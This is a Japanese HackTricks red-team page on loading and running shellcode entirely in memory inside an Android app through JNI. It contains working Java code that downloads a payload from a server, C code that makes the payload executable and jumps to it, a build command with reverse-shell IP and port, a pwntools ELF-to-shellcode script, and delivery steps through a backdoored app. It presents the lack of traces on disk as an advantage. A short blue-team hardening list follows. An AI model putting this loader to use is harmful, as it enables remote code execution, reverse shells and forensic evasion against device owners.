Android のメモリ内ネイティブコード実行(JNI / shellcode)
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
このページでは、JNI を用いて信頼できない Android アプリプロセスからネイティブペイロードを完全にメモリ内で実行するための実用的なパターンを記載します。フローはディスク上にネイティブバイナリを作成することを避けます:生の shellcode バイトを HTTP(S) でダウンロードし、JNI ブリッジに渡し、RX メモリを割り当ててそこにジャンプします。
なぜ重要か
- フォレンジック上の痕跡を減らす(ディスク上に ELF が残らない)
- ELF 攻撃バイナリから生成された “stage-2” ネイティブペイロードと互換性がある
- 現代のマルウェアやレッドチームが使用するトレードクラフトに合致する
全体の流れ
- Java/Kotlin 側で shellcode バイトを取得する
- バイト配列を引数にしてネイティブメソッド (JNI) を呼び出す
- JNI 内で: RW メモリを割り当て → バイトをコピー → mprotect で RX に変更 → entrypoint を呼ぶ
最小の例
Java/Kotlin 側
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
C JNI 側 (arm64/amd64)
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
注意事項と留意点
- W^X/execmem: Modern Android は W^X を強制します; anonymous PROT_EXEC mappings は JIT を持つアプリプロセスで一般に許可されています(SELinux policy に依存)。一部のデバイス/ROM はこれを制限するため、必要に応じて JIT-allocated exec pools や native bridges にフォールバックしてください。
- Architectures: shellcode のアーキテクチャがデバイスと一致していることを確認してください(一般的には arm64-v8a; x86 はエミュレータのみ)。
- Entrypoint contract: shellcode のエントリに対する規約を決めてください(no args vs structure pointer)。position-independent (PIC) にしておくこと。
- Stability: ジャンプする前に命令キャッシュをクリアしてください; mismatched cache は ARM でクラッシュを引き起こす可能性があります。
Packaging ELF → position‑independent shellcode A robust operator pipeline is to:
- Build your exploit as a static ELF with musl-gcc
- Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append
Build
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
ELF を生の shellcode に変換する(amd64 の例)
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
loader_append が動作する理由: 小さなローダを生成し、組み込まれた ELF プログラムセグメントをメモリにマップしてエントリポイントに制御を移すことで、アプリが memcpy して実行できる単一の raw ブロブを提供する。
配信
- sc を自分が管理する HTTP(S) サーバでホストする
- バックドア/テストアプリが sc をダウンロードし、上記の JNI ブリッジを呼び出す
- operator ボックスで、kernel/user-mode payload が確立するリバース接続を待ち受ける
カーネルペイロードの検証ワークフロー
- 高速なリバース/オフセット復元のために symbolized vmlinux を使用する
- 可能なら扱いやすい debug イメージ上でプリミティブをプロトタイプ化するが、必ず実機の Android ターゲット上で再検証する(kallsyms、KASLR slide、ページテーブルレイアウト、そして緩和策が異なる)
ハードニング/検出 (blue team)
- 可能な限りアプリドメインで anonymous PROT_EXEC を禁止する(SELinux policy)
- 厳格なコード整合性を強制する(ネットワーク経由の動的なネイティブ読み込みを禁止)およびアップデートチャネルを検証する
- RX への mmap/mprotect の怪しい遷移や、ジャンプに先立つ大きなバイト配列のコピーを監視する
References
- CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)
- build.sh (musl-gcc + pwntools pipeline)
- exp2sc.py (pwntools shellcraft.loader_append)
- exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)
- INSTRUCTIONS.md (setup notes)
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks